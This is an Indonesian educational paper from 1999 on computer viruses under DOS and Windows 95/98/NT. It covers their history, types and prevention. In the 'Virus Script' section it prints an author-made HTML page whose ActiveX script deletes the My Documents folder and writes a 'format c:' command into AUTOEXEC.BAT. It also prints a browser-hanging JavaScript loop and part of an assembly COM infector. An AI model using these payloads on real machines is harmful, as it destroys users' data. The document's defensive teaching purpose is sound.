Konsep Perlindungan Komputer Terhadap Virus

November 28, 1999

Minnarto Djojo

Arcle Technologies
http://www.arcle.net

SIMPLE RELIABLE SOLUTIONS

DAFTAR ISI

DAFTAR ISI

BAB I
PENDAHULUAN

1.1 Latar Belakang Masalah

Perkembangan komputer berkembang dengan sangat pesat dan hampir setiap orang menggunakan komputer, baik hanya sekedar permainan ataupun mengerjakan tugas-tugas yang rumit. Sayangnya komputer tidak selalu berjalan mulus sesuai dengan keinginan kita, cukup banyak masalah yang ada pada komputer, salah satunya adalah virus komputer. Cukup banyak orang yang memiliki persepsi yang salah dengan virus komputer sehingga tidak jarang mereka ketakutan secara berlebihan terhadap virus komputer.

1.2 Tujuan Penulisan

Adapun tujuan dari penulisan karya ilmiah ini adalah untuk menghilangkan ketakutan yang berlebihan akan virus komputer yang disebabkan kebutaan orang awam terhadap virus komputer dan sekaligus memberikan konsep perlindungan terhadap virus komputer, sehingga pembaca tahu langkah-langkah apa yang dilakukan dalam menghadapi virus komputer.

1.3 Ruang Lingkup Masalah

Ruang lingkup yang menjadi topik karya ilmiah ini adalah virus komputer yang terdapat pada komputer IBM PC dengan *operating*

system DOS, dan *Windows 95/98/NT*. Selain itu penulis tidak akan membahas konsep dan penggunaan *operating system* diatas dan juga penulis tidak akan membahas teknik pembuatan virus komputer.

1.4 Dasar Teori

Komputer adalah suatu alat yang seluruh kemampuannnya dikendalikan oleh *software*, banyak sekali jenis-jenis program yang tersedia, bahkan virus adalah salah satu jenis *software*. Sayang sekali jenis software yang satu ini hampir seluruhnya berdampak dan ditujukan untuk hal-hal yang bersifat merugikan orang yang komputernya tertular virus komputer. Virus komputer memiliki berbagai kemampuan dasar diantaranya adalah kemampuan memanipulasi, kemampuan untuk memperbanyak diri, dan sebagainya.

Virus bekerja dengan memanfaatkan fungsi-fungsi *operating system* yang tersembunyi dan juga memanfaatkan celah-celah yang ada dari program tertentu, selain itu membuat virus memerlukan pengetahuan tentang sistem komputer bekerja dan kemampuan pemrograman. Beberapa sumber pustaka mengelompokkan virus berdasarkan kriteria tertentu, biasanya untuk setiap jenis tersebut memiliki ciri khas tersendiri yang umum ditemui. Hal inilah yang perlu diperhatikan agar kita dapat melakukan pencegahan terhadap serangan virus-virus komputer.

BAB II
VIRUS KOMPUTER

2.1 Sejarah Virus Komputer

Virus komputer pertama kalinya tercipta bersamaan dengan komputer. Pada tahun 1949, salah seorang pencipta komputer, John von Newman, yang menciptakan *Electronic Discrete Variable Automatic Computer* (EDVAC), memaparkan suatu makalahnya yang berjudul "*Theory and Organization of Complicated Automata*". Dalam makalahnya dibahas kemungkinan program yang dapat menyebar dengan sendirinya.

Perkembangan virus komputer selanjutnya terjadi di AT&T Bell Laboratory salah satu laboratorium komputer terbesar di dunia yang telah menghasilkan banyak hal, seperti bahasa *C* dan *C++*.[1] Di laboratorium ini, sekitar tahun 1960-an, setiap waktu istirahat para peneliti membuat permainan dengan suatu program yang dapat memusnahkan kemampuan membetulkan dirinya dan balik menyerang kedudukan lawan. Selain itu, program permainan dapat memperbanyak dirinya secara otomatis. Perang program ini disebut *Core War*, yaitu pemenangnya adalah pemilik program sisa terbanyak dalam selang waktu tertentu. Karena sadar akan bahaya program tersebut, terutama

[1] C dan C++ adalah salah satu pemrograman bahasa tingkat tinggi

bila bocor keluar laboratorium tersebut, maka setiap selesai permainan, program tersebut selalu dimusnahkan.

Sekitar tahun 1970-an , perusahaan Xerox memperkenalkan suatu program yang digunakan untuk membantu kelancaran kerja. Struktur programnya menyerupai virus, namun program ini adalah untuk memanfaatkan waktu semaksimal mungkin dan pada waktu yang bersamaan dua tugas dapat dilakukan.

Pada tahun 1980-an, perang virus di dunia terbuka bermula atas pemaparan Fred Cohen, seorang peneliti dan asisten profesor di Universitas Cincinati, Ohio. Dalam pemaparannya, Fred juga mendemonstrasikan sebuah program ciptaannya, yaitu suatu virus yang dapat menyebar secara cepat pada sejumlah komputer.

Sementara virus berkembang, Indonesia juga mulai terkena wabah virus. Virus komputer ini pertama menyebar di Indonesia juga pada tahun 1988. Virus yang begitu menggemparkan seluruh pemakai komputer di Indonesia, saat itu, adalah virus ©*Brain* yang dikenal dengan nama virus Pakistan.

Pada tahun 2000 nanti diperkirakan akan muncul banyak sekali virus-virus baru dan dengan segala jenis variasinya, sebab dari informasi yang penulis dapatkan banyak sekali para pembuat virus yang akan menerbitkan virusnya pada tepat tahun 2000 nanti.

2.2 Pengertian Virus Komputer

Istilah virus komputer tak asing lagi bagi kalangan pengguna komputer saat ini. Padahal, sekitar 12 tahun yang lalu, istilah ini telah dikenal oleh masyarakat pengguna komputer. Baru pada tahun 1988, muncul artikel-artikel di media massa yang dengan gencar memberitakan mengenai ancaman baru bagi para pemakai komputer yang kemudian dikenal dengan sebutan ‘virus komputer’.

Virus yang terdapat pada komputer hanyalah berupa program biasa, sebagaimana layaknya program-program lain. Tetapi terdapat perbedaan yang sangat mendasar pada virus komputer dan program lainnya.

Virus dibuat oleh seseorang dengan tujuan yang bermacam-macam, tetapi umumnya para pembuat virus hanyalah ingin mengejar popularitas dan juga hanya demi kesenangan semata. Tetapi apabila seseorang membuat virus dengan tujuan merusak maka tentu saja akan mengacaukan komputer yang ditularinya.

2.3 Kemampuan Dasar Virus Komputer

Definisi umum virus komputer adalah program komputer yang biasanya berukuran kecil yang dapat meyebabkan gangguan atau kerusakan pada sistem komputer dan memiliki beberapa kemampuan dasar, diantaranya adalah :

- Kemampuan untuk memperbanyak diri

  Yakni kemampuan untuk membuat duplikat dirinya pada *file-file* atau disk-disk yang belum ditularinya, sehingga lama-kelamaan wilayah penyebarannya semakin luas.

- Kemampuan untuk menyembunyikan diri

  Yakni kemampuan untuk menyembunyikan dirinya dari perhatian user, antara lain dengan cara-cara berikut :

  a. Menghadang keluaran ke layar selama virus bekerja, sehingga pekerjaan virus tak tampak oleh user.

  b. Program virus ditempatkan diluar *track*[2] yang dibuat *DOS* (misalkan *track 41*)

[2] Lingkaran-lingkaran konsentris dimana data diorganisasi secara berurutan pada disket

c. Ukuran virus dibuat sekecil mungkin sehingga tidak menarik kecurigaan.

- Kemampuan untuk mengadakan manipulasi

  Sebenarnya rutin manipulasi tak terlalu penting. Tetapi inilah yang sering mengganggu. Biasanya rutin ini dibuat untuk :

  a. Membuat tampilan atau pesan yang menggangu pada layar monitor
  b. Mengganti *volume label* disket
  c. Merusak struktur disk, menghapus *file-file*
  d. Mengacaukan kerja alat-alat I/O, seperti keyboard dan printer

- Kemampuan untuk mendapatkan informasi

  Yakni kemampuan untuk mendapatkan informasi tentang struktur media penyimpanan seperti letak *boot record* asli, letak tabel partisi, letak *FAT*[3], posisi suatu *file*, dan sebagainya.

- Kemampuan untuk memeriksa keberadaan dirinya

  Sebelum menyusipi suati *file* virus memeriksa keberadaan dirinya dalam *file* itu dengan mencari ID (tanda pengenal) dirinya di dalam *file* itu. *File* yang belum tertular suatu virus tentunya tidak mengandung ID dari virus yang bersangkutan. Kemampuan ini mencegah penyusupan yang berkali-kali pada suatu *file* yang sama.

2.4 Jenis-Jenis Virus Komputer

Berikut ini akan dibahas jenis-jenis virus yang penulis simpulkan dari berbagai sumber, baik sumber pustaka maupun sumber dari internet.

2.4.1 Berdasarkan Teknik Pembuatannya

[3] *File Allocation Table*, adalah tabel di media penyimpanan yang menangani pengalokasian tempat dari setiap *file*.

- **Virus yang Dibuat dengan *Compiler***

Adalah virus yang dapat dieksekusi karena merupakan virus yang telah di *compile* sehingga menjadi dapat dieksekusi langsung. Virus jenis ini adalah virus yang pertama kali muncul di dunia komputer, dan sampai sekarang terus berkembang pesat.

Biasanya virus jenis ini dibuat dengan bahasa pemrograman tingkat rendah yang disebut dengan *assembler*, karena dengan menggunakan *assembler* program yang dihasilkan lebih kecil dan cepat, sehingga sangat cocok untuk membuat virus. Tetapi tidak tertutup kemungkinan untuk membuat virus dengan menggunakan bahasa pemrograman lainnya seperti *C* dan *Pascal* baik dilingkungan *DOS* maupun *Windows* .

Mungkin virus jenis ini adalah virus yang paling sulit untuk dibuat tetapi karena dibuat dengan menggunakan bahasa pemrograman dan berbentuk bahasa mesin maka keunggulan dari virus ini adalah mampu melakukan hampir seluruh manipulasi yang mana hal ini tidak selalu dapat dilakukan oleh virus jenis lain karena lebih terbatas.

- **Virus *Macro***

Banyak orang salah kaprah dengan jenis virus ini, mereka menganggap bahwa virus *Macro* adalah virus yang terdapat pada program *Microsoft Word*. Memang hampir seluruh virus *Macro* yang ditemui merupakan virus *Microsoft Word.* Sebenarnya virus *Macro* adalah virus yang memanfaatkan fasilitas pemrograman modular pada suatu program aplikasi tertentu seperti Microsoft Word, Microsoft Excel, Microsoft PowePoint, Corel WordPerfect, dan sebagainya.

Tujuan dari fasilitas pemrograman modular ini adalah untuk memberikan suatu kemudahan serta membuat jalan pintas bagi aplikasi tersebut. Sayangnya fungsi ini dimanfaatkan oleh pembuat-

pembuat virus untuk membuat virus didalam aplikasi tersebut. Walaupun virus ini terdapat didalam aplikasi tertentu tetapi bahaya yang ditimbulkan tidak kalah berbahanya dari virus-virus yang lain.

- **Virus *Script/Batch***

Pada awalnya virus ini lebih dikenal dengan virus *batch* karena dulu terdapat pada *file batch* yang terdapat pada *DOS*, sekarang hal ini telah berganti menjadi *script*. Virus *script* biasanya sering didapat dari *Internet* karena kelebihannya yang fleksibel dan bisa berjalan pada saat kita bermain internet, virus jenis ini biasanya menumpang pada *file* HTML (*Hype Text Markup Language*) dibuat dengan menggunakan fasilitas *script* seperti *Javascript*, *VBscript*,[4] maupun gabungan antara *script* yang mengaktifkan program *Active-X* dari *Microsoft Internet Explorer*.

2.4.2 Berdasarkan Infeksi yang Dilakukan

- **Virus *Boot Sector***

Virus *Boot Sector* adalah virus yang memanfaatkan gerbang hubungan antara komputer dan media penyimpan sebagai tempat untuk menularkan virus. Apabila pada boot sector terdapat suatu program yang mampu menyebarkan diri dan mampu tinggal di memory selama komputer bekerja, maka program tersebut dapat disebut virus. Virus boot sector terbagi dua yaitu virus yang menyerang disket dan virus yang menyerang disket dan *tabel partisi*.

- **Virus *File***

Virus *file* merupakan virus yang memafaatkan suatu *file* yang dapat diproses langsung pada editor *DOS*, seperti *file* berekstensi

[4] *Javascript dan VBscript* adalah *script* dari *file* HTML yang mengambil dasar dari bahasa pemrograman Java dan Visual Basic

COM, *EXE*, beberapa *file* overlay, dan *file BATCH*. Virus umumnya tidak memiliki kemampuan untuk menyerang di semua *file* tersebut. Virus *file* juga dikelompokkan berdasarkan dapat atau tidaknya tingga di memory.

- **Virus System**

  Virus sistem merupakan virus yang memanfaatkan *file-file* yang dipakai untuk membuat suatu sistem komputer. Contohnya adalah *file* dengan berekstensi SYS, *file* IBMBIO.COM, IBMDOS.COM, atau COMMAND.COM.

- **Virus Hybrid**

  Virus ini merupakan virus yang mempunyai dua kemampuan biasanya dapat masuk ke boot sector dan juga dapat masuk ke *file*. Salah satu contoh virus ini adalah virus Mystic yang dibuat di Indonesia.

- **Virus Registry Windows**

  Virus ini menginfeksi *operating system* yang menggunakan *Windows 95/98/NT* biasanya akan mengadakan infeksi dan manipulasi pada bagian *registry Windows* sebab *registry* adalah tempat menampung seluruh informasi komputer baik hardware maupun software. Sehingga setiap kali kita menjalankan *Windows* maka virus akan dijalankan oleh registry tersebut.

- **Virus Program Aplikasi**

  Virus ini merupakan virus *Macro*, menginfeksi pada data suatu program aplikasi tertentu. Virus ini baru akan beraksi apabila kita menjalankan program aplikasi tersebut dan membuka data yang mengandung virus.

2.4.3 Berdasarkan Media Penyebarannya

- Penyebaran dengan Media Fisik

Media yang dimaksudkan bisa dengan disket, CD-ROM (*Compact Disc Read Only Memory*), *harddisk*, dan sebagainya. Untuk CD-ROM, walaupun media ini tidak dapat dibaca tetapi ada kemungkinan suatu CD-ROM mengandung virus tertentu, walaupun kemungkinannya kecil, tetapi seiring dengan berkembangnya alat CD-R/CD-RW yang beredar dipasaran maka kemungkinan adanya virus didalam CD-ROM akan bertambah pula.

Untuk saat ini virus jenis ini yang menjadi dominan dari seluruh virus yang ada. Virus ini akan menular pada komputer yang masih belum tertular apabila terjadi pengaksesan pada *file*/media yang mengandung virus yang diikuti dengan pengaksesan *file*/media yang masih bersih, dapat juga dengan mengakes *file*/media yang masih bersih sedangkan di memori komputer terdapat virus yang aktif.

- Penyebaran dengan Media Internet

Akhir-akhir ini virus yang menyebar dengan media sudah semakin banyak, virus ini biasanya menyebar lewat *e-mail* ataupun pada saat kita mendownload suatu *file* yang mengandung virus. Juga ada beberapa virus yang secara otomatis akan menyebarkan dirinya lewat e-mail apabila komputer memiliki hubungan ke jalur *internet*.

BAB III
MENGENAL DAN MENANGGULANGI VIRUS KOMPUTER

3.1 Virus Executable

3.1.1 Cara Kerja Umum

Seperti telah diketahui bahwa virus *executable*[5] adalah virus yang dibuat dengan compiler dan bahasa pemrograman. Berikut ini beberapa cara kerja virus :

- *File executable* yang terkena virus apabila dieksekusi akan masuk ke dalam memori (dikenal sebagai *worm*) dan kemudian akan menginfeksi seluruh *file exectuble* di *directory* aktif, atau virus akan menginfeksi *file executable* lain apabila *file* lain tersebut dieksekusi.
- Virus yang aktif akan masuk kedalam *boot sector* media penyimpanan, kemudian apabila komputer melakukan proses *booting* dengan media penyimpanan tersebut maka virus akan aktif.
- Untuk virus *resident* instruksi manipulasi akan diletakkan di memori, lalu virus ini akan menunggu kesempatan untuk mengaktifkan bagian virus yang bersifat merusak. Biasanya virus jenis ini hanya akan aktif kembali apabila kita mengeksekusi *file* yang tertular virus tersebut.

[5] adalah jenis virus menginfeksi pada program (bentuk bahasa mesin) baik tipe COM maupun EXE

- Apabila virus bersifat menumpangi *file* maka virus akan merusak *file* asli sehingga tidak dapat berfungsi normal, tetapi apabila virus mengadakan rutin manipulasi maka virus akan diletakkan diakhir *file* sehingga tidak merusak *file*.
- Biasanya virus mengadakan manipulasi dengan vektor interupsi dengan membelokkan vektor interupsi maka setiap terjadi pemanggilan interupsi tertentu yang dijalankan terlebih dahulu adalah program virus tersebut.

Berikut ini adalah contoh sebagian dari isi virus yang dibuat dalam bahasa assembly :

```
;-- cek exe/sudah kena
 mov ax,word ptr Buf
 cmp ax,4D5Ah
 jz Usai2
 cmp ax,5A4Dh
 jz Usai2
 cmp byte ptr Buf+3,'W'
 jz Usai2
Tular:
;-- ke ujung file
 mov ax,4202h
 xor cx,cx
 cwd
 int 21h
 jc Usai2
 or dx,dx
 jnz Usai2
 sub ax,3
 push ax
;-- tulis
 mov ah,40h
 mov cx,offset Batas-100h
 mov dx,offset Mulai
 int 21h
```

[6] Diambil dari situs internet http://www.k-elektronik.org

```
jc Usai2
pop Lom
mov ax,4200h
xor cx,cx
```

Setelah diperhatikan ternyata virus ini bertujuan untuk menginfeksi *file* COM, virus juga menyediakan tempat sebanyak 244 *bytes* sebagai tempat dirinya berada di ujung *file* korban. Virus ini akan membelokkan vektor interupsi 21h dengan *procedure* yang telah diciptakan sendiri oleh virus, selain itu virus ini juga melakukan proses enkripsi dengan operator *bit* XOR untuk mengacak badan virus yang terdapat pada *file* korban sehingga tidak mudah dilacak. Walaupun virus ini tidak berbahaya seperti virus CIH yang dapat menghapus BIOS (*Basic Input Output System*) tetapi virus ini cukup merugikan karena dapat merusak *file*.

3.1.2 Penanggulangannya

Menghindari virus memang langkah awal yang harus diambil sebelum komputer benar-benar terserang virus, karena lebih baik mencegah dari pada mengobati. Berikut ini cara-cara menghindari virus yang cukup efisien :

- Ubah program-program atribut menjadi *Read Only*[7]

  Sebenarnya cara ini kurang menjamin sebab sudah ada virus yang bisa mengubah attribut *file*. Tetapi cara ini lebih baik dilakukan dari pada tidak sama sekali.

  Parameter untuk merubah attribut *file* :

  ATTRIB [+R | -R] [+A | -A] [+S | -S] [+H | -H] [[drive:][path]*file*name] [/S]

[7] Atribut file yang hanya mengizinkan akses membaca dan menolak akses untuk menulis file

Keterangan :

+ : menambahkan attribut

- : menghilangkan attribut

R : attribut hanya baca (Read only)

A : attribut *file* archive

S : attribut *file* aystem

H : attribut *file* tersembunyi

Path : nama cabang (sub-directory)

*File*name : nama *file* yang akan diproses

/S : melakukan proses diseluruh *directory* dan *sub-directory*

- Hindari penggunaan disket-disket yang tidak bisa dipercaya sumbernya.

  Usahakan untuk tidak menggunakan disket-disket yang sudah lama sebab mungkin saja mengandung virus, dan juga jangan sembarangan menggunakan disket dari orang lain yang tidak terjamin kebersihan disket dari virus.

- Melakukan *Write Protect*

  Dengan selalu mengunci *Write Protect* disket maka, kita dapat lebih meminimalkan kemungkinan penularan virus sebab virus tidak bisa menulis pada disket yang telah di-*Write Protect*.

- Membuat *sub-directory* untuk program-program baru.

  Hal ini bisa melokalisir beberapa virus apabila program kita terjangkit virus.

  Cara membuat *sub-directory* :

  MD [drive:]path

  Cara **berpindah** *sub-directory* :

  CD [drive:]path

- *Scan* virus setiap disket yang tidak pasti kebersihannya dari virus.

Apabila kita terpaksa untuk menggunakan disket yang tidak diketahui kebersihannya, maka sebaiknya kita melakukan pemeriksaan terlebih dahulu dengan antivirus. Contoh-contoh program antivirus yang cukup terkenal adalah *McAfee VirusScan*, *Antiviral Toolkit Pro*, dan *Norton Antivirus*

- Melakukan scan virus secara periodik pada hard disk.

  Walaupun kita telah menjaga segala kemungkinan dari penyebaran virus, tetapi ada baiknya dilakukan pemeriksaan pada hard disk, sebab mungkin saja terdapat virus baru atau variasi virus yang belum bisa terdeteksi.

- Menginstal program *resident* pada komputer.

  Untuk mencegah dan mendeteksi kerja virus kita bisa menggunakan program antivirus yang sifatnya *resident*, yang dimaksud dengan residen adalah program yang menetap sementara pada memori komputer. Contoh program residen adalah *Scan McAfee Vshield* dan *Norton Anti Virus*.

- Menggunakan program anti virus yang terbaru

  Memang seharusnya apabila kita ingin memperkecil kemungkinan penularan virus, kita harus selalu mengikuti perkembangan program anti virus sebab dengan semakin banyaknya virus-virus baru yang belum bisa terdeteksi oleh antivirus yang lama, sehingga para pencipta program anti virus juga membuat program anti virus yang lebih baru pula.

- Periksa secara rutin *registry Windows* di bagian \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, apakah menemukan sesuatu yang mencurigakan jika menemukan itu hapus bagian yang mencurigakan itu.

Apabila komputer ataupun disket telah terserang virus dan kita masih ingin menggunakannya, maka mau tidak mau kita harus berusaha membasmi virus tersebut. Berikut ini cara-cara untuk membasmi virus :

1. Gunakan program antivirus

   Untuk hal ini sebaiknya kita menggunakan program antivirus yang telah cukup terkenal seperti yang telah disebutkan penulis pada bagian sebelumnya. Tetapi apabila komputer kita terserang virus lokal, maksudnya virus buatan Indonesia, ada baiknya kita juga menggunakan program antivirus lokal pula. Contoh virus lokal yang cukup terkenal adalah SW (Sayha Watpu) dan untuk contoh program antivirus lokal adalah MAV (Mikrodata Anti Virus).

2. Menggunakan Utiliti

   Umumnya pembasmian virus dengan Utiliti hanya bisa untuk memberantas virus Boot Sector. Intinya ialah menimpa pada boot sector yang telah terserang virus dengan boot sector yang masih bersih dengan syarat bahwa sistem atau versi sistem keduanya sama. Utiliti yang dapat digunakan antara lain :

1. *Norton Diskedit* dan *PC Tools*

   Kedua program ini adalah program editor yang cukup canggih dan kita menggunakannya untuk memberantas virus boot sector, tetapi cara ini hanya bisa dilakukan oleh user yang telah berpengalaman.

2. DEBUG

   Debug adalah program yang selalu disediakan oleh *MS DOS* maupun *MS Windows 95*. Debug adalah program untuk melakukan d*ebugging*, dan untuk menggunakannya juga hanya bisa dilakukan oleh *user* yang telah berpengalaman.

3. SYS

   Sys adalah program yang juga selalu disediakan oleh *MS DOS* maupun *MS Windows*. Sys berguna untuk memindahkan atau menulis

sistem pada disket ataupun hardisk. Syarat menggunakannya adalah versi *operating system* keduanya harus sama.

Cara menggunakannya :

- Boot komputer dengan disket yang bebas dari virus
  Cara ini bisa dilakukan dengan disket maupun dengan hardisk
- Masukkan disket yang terkena virus, misal pada Drive B
- Ketikan ‘SYS B:’

3.2 VIRUS MACRO

3.2.1 Cara Kerja Umum

Cara kerja virus *Macro* yang akan dibahas adalah virus *Microsoft Word*. Virus akan menginfeksi *file Microsoft Word* dengan ekstension DOT (*Document Template*) dan DOC (*Document*), dimana apabila kita menggunakan Microsoft Word untuk memanggil *file-file* tersebut maka *macro* dari virus akan dijalankan, didalam macro inilah terdapat instruksi-instruksi untuk menyebar virus maupun melakukan manipulasi lainnya.

Biasanya virus akan menulari/memodifikasi *file* NORMAL.DOT yang memang ada pada setiap komputer yang menggunakan *Microsoft Word*, sebab *file* tersebut adalah *file* yang dijadikan standar awal pengetikan dan juga merupakan *file* yang pertama kali dibuka oleh *Microsoft Word* ketika dieksekusi. Tetapi ada juga virus yang tidak melakukan manipulasi pada *file* ini tetapi membuat *file* DOT baru yang mengandung virus dan merubah program *Microsoft Word* untuk menggantikan *file* NORMAL.DOT itu dengan *file* buatan virus.

Sebagai contoh virus Melissa yang sangat terkenal itu merupakan virus *macro Microsoft Word* yang media penyebarannya

dapat melalui *internet*, mengirim dirinya sendiri lewat e-mail sebagai *attachment*.

3.2.2 Penanggulangannya

- Ubah atribut seluruh *document template* terutama *file* NORMAL.DOT menjadi *read-only.* Dengan demikian untuk virus-virus sederhana tidak akan mampu untuk menulari komputer sebab virus tidak dapat menulis apapun pada *file* NORMAL.DOT, tetapi ada juga virus yang tidak terpengaruh oleh tindakan pencegahan ini.
- Apabila kita tidak memiliki antivirus yang memadai dan *Microsoft Word* telah terkena virus, hapus *file* NORMAL.DOT sebab umumnya program akan membuat file NORMAL.DOT kembali dengan tanpa virus.
- Periksa setiap *file* dengan menggunakan program antivirus (usahakan yang terbaru) sebelum kita menggunakannya.
- Apabila program antivirus tidak dapat mengatasi atau mendeteksinya, *file document* kita buka dengan menggunakan program *Wordpad* (program pengetikan paket pada setiap *Microsoft Windows*) lalu *file* dikonversi menjadi *file* RTF (*Rich Text File*), baru kemudian *file* RTF itu kita buka dengan *Microsoft Word* dan bila perlu kita konversi lagi menjadi *document*. Apabila *Wordpad* tidak dapat membuka file tersebut, bisa kita gunakan program pengetikan lainnya sebagai pengganti seperti *Corel Word Perfect* ataupun *Adobe Type Manager*.

3.3 Virus Script

3.3.1 Cara Kerja Umum

Karena virus jenis ini biasanya terdapat pada file HTML maka virus ini akan beraksi setiap kali kita menjelajah internet dengan program *internet browser* yang mendukung script tersebut. Program *browser* yang sering menjadi target adalah *Microsoft Internet Explorer* dan *Netscape Navigator*.

Berikut ini adalah isi dari *file* INDEX.HTML yang diciptakan oleh penulis :

```
<HTML>
<HEAD>
<META HTTP-EQUIV="Refresh" CONTENT="1; URL=index.html">
<SCRIPT LANGUAGE="JavaScript">
<!--
for (x=0;x<1;x)
open("index.html");
</SCRIPT>
</HEAD>
</body>
</HTML>
```

File tersebut apabila dijalankan oleh *browser* yang mendukung *Javascript* maka akan berakibat komputer akan membuka banyak sekali *browser* hingga tidak terhingga sampai nantinya komputer akan mengalami *hang* atau *crash*. Sebab instruksi dari *Javascript* diatas adalah untuk memanggil diri sendiri tanpa pernah berhenti.

Mungkin contoh diatas hanyalah tidak akan berakibat fatal pada komputer, tetapi berikut ini adalah isi dari *file* HTML yang diciptakan oleh penulis dengan dampak yang lebih parah :

```
<html><body>
<object id="wss"
classid="clsid:F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B"></object>
<object id="sfso"
```

```
classid="clsid:0D43FE01-F093-11CF-8940-
00A0C9054228"></object>
<script language="JavaScript">
wss.Run('deltree /y c:\mydocu~1');
  sfso.CreateTextFile('c:\autoexec.bat',true).WriteLine('format
c:/u/q');
  alert('Wait a moment.');
</script>
</body></html>
```

Script yang digunakan untuk *file* diatas adalah *Javascript* juga dengan tambahan mengeksekusi program *Active-X*, dimana hasilnya menghapus seluruh isi *directory c:\mydocu~1* kemudian merubah file AUTOEXEC.BAT komputer menjadi berisi instruksi untuk memformat *hard disk*.

Masih banyak lagi variasi dan kemungkinan suatu virus *script* melakukan aksinya oleh karena itu hal ini tidak boleh diremehkan begitu saja.

3.3.2 Penanggulangannya

- Tingkatkan *options security* dari *browser* setiap kali kita merasa memasuki alamat *internet* yang berbahaya.
- Set agar setiap kali *browser* menemukan suatu *script* agar selalu muncul pilihan apakah *script* itu ingin dijalankan atau tidak. Jadi kita bisa menyelidiki terlebih dahulu apakah sisi dari *script* tersebut berbahaya.
- Set atribut menjadi *read-only* untuk *file-file* yang rawan dan memegang kendali penting seperti : AUTOEXEC.BAT; DOSSTART.BAT dan sebagainya.

- Ubah nama program *file* yang rawan dan memegang kendali penting menjadi tidak standar seperti : FORMAT.EXE; DEBUG.EXE ; DELTREE.EXE dan sebagainya
- Periksa secara rutin *registry Windows* di bagian \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, apakah menemukan sesuatu yang mencurigakan jika menemukan itu hapus bagian yang mencurigakan itu.
- Selalu membuat *file* cadangan dari *registry Windows*.

3.4 Virus dari Internet dan Trojan

3.4.1 Cara Kerja Umum

Virus dari internet bisa membawa virus-virus lainnya, pada dasarnya virus dari *internet* proses pembuatannya hampir sama dengan virus *executable* dan virus *macro*. Yang membedakannya adalah cara penularannya, virus jenis ini mampu untuk menyebar melalui media *internet* yaitu akan mengirimkan dirinya sendiri ke *internet* setiap kali terjadi hubungan antara komputer dengan *internet.*

Contoh yang cukup terkenal adalah virus Happy99 yaitu virus yang merubah file WINSOCK.DLL yaitu *file* yang menangani hubungan internet suatu komputer yang berhubungan dengan *socket* di internet. Contoh lain adalah Virus Pretty+Park yang juga menyebar secara otomatis lewat *e-mail* dengan mengirimkan diri sendiri sebagai *attachment*, ciri-cirinya tidak ada reaksi apa-apa ketika dijalankan,t etapi meduplikat dirinya ke C:\windows\system\files32.vxd serta menambah suatu *string* pada registry Windows di lokasi HKEY_CLASSES_ROOT\exefile\shell\open\command.

Untuk *trojan* adalah suatu program yang dikirimkan oleh seseorang kepada kita dimana program tersebut merugikan bagi kita.

Trojan bisa berupa program perusak maupun program kendali. Contoh *trojan* yang terkenal adalah *Back Orifice* dan *Netbus*, apabila korban telah terkena salah satu dari program ini maka apabila korban terhubung ke jaringan atau *internet*, si pengirim *trojan* dapat mengendalikan komputer korban dari jauh, bahkan tidak mustahil untuk mematikan atau merusak dari jauh.

3.4.2 Penanggulangannya

- *Scan* virus setiap file yang tidak pasti kebersihannya dari virus. Terutama yang berasal dari internet, harus tetap waspada walaupun kita menerima *e-mail* berisi *file Microsoft Word* atau *executable* atas nama kenalan sebab mungkin saja e-mail tersebut merupakan perbuatan virus.
- Periksa secara rutin *registry Windows* di bagian \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, apakah menemukan sesuatu yang mencurigakan jika menemukan itu hapus bagian yang mencurigakan itu.
- Set atribut *file* WINSOCK.DLL menjadi *read-only*, untuk memperkecil kemungkinan virus untuk memanipulasinya.
- Catat tanggal, ukuran, dari *file* yang mencurigakan sebab akan berguna suatu saat apabila benar *file* tersebut mengandung virus.

BAB IV
KESIMPULAN

Berdasarkan pembahasan yang telah dilakukan, penulis menarik beberapa kesimpulan sebagai berikut :

1. Virus komputer adalah bagian dari *software* komputer, hanya saja berbeda fungsinya yaitu mengganggu bahkan merusak sistim komputer.
2. Tidak semua virus komputer memiliki dampat yang fatal, cukup banyak virus yang hanya bersifat jinak, tetapi walau bagaimanapun juga harus dihilangkan.
3. Ketakutan yang berlebihan dengan virus komputer disebabkan oleh kebutaan akan virus komputer itu sendiri, ketakutan itu dapat dihilangkan dengan mengenal virus komputer.
4. Dengan semakin mengenal sistem kerja suatu komputer, terutama sistem operasi serta mengetahui virus, maka dengan sendirinya pengetahuan kita untuk mempertahankan komputer dari serangan virus semakin baik sekaligus mendapatkan konsep untuk menangani virus komputer.
5. Mencegah komputer tertular virus jauh lebih baik dari pada terkena virus baru kemudian kita memperbaikinya, sebab lebih menyulitkan dan juga tidak terjamin apakah akan berhasil sepenuhnya.

DAFTAR PUSTAKA

Brey, Barry, ***Intel Microprocessors***, Prentice Hall International, USA, 1997.

Lukito, Ediman, ***Membongkar, Memberantas, dan Mencegah Virus Komputer***, Elex Media Komputindo, Jakarta, 1996.

Purcel, Lee, Mary Jane Mara, ***The ABCs of Java Script***, Sybex, San Francisco, 1997.

Salim, Hatojo Ir., ***VIRUS KOMPUTER Teknik Pembuatan dan Langkah-langkah Penanggulangannya***, ANDI OFFSET, Yogyakarta, 1991.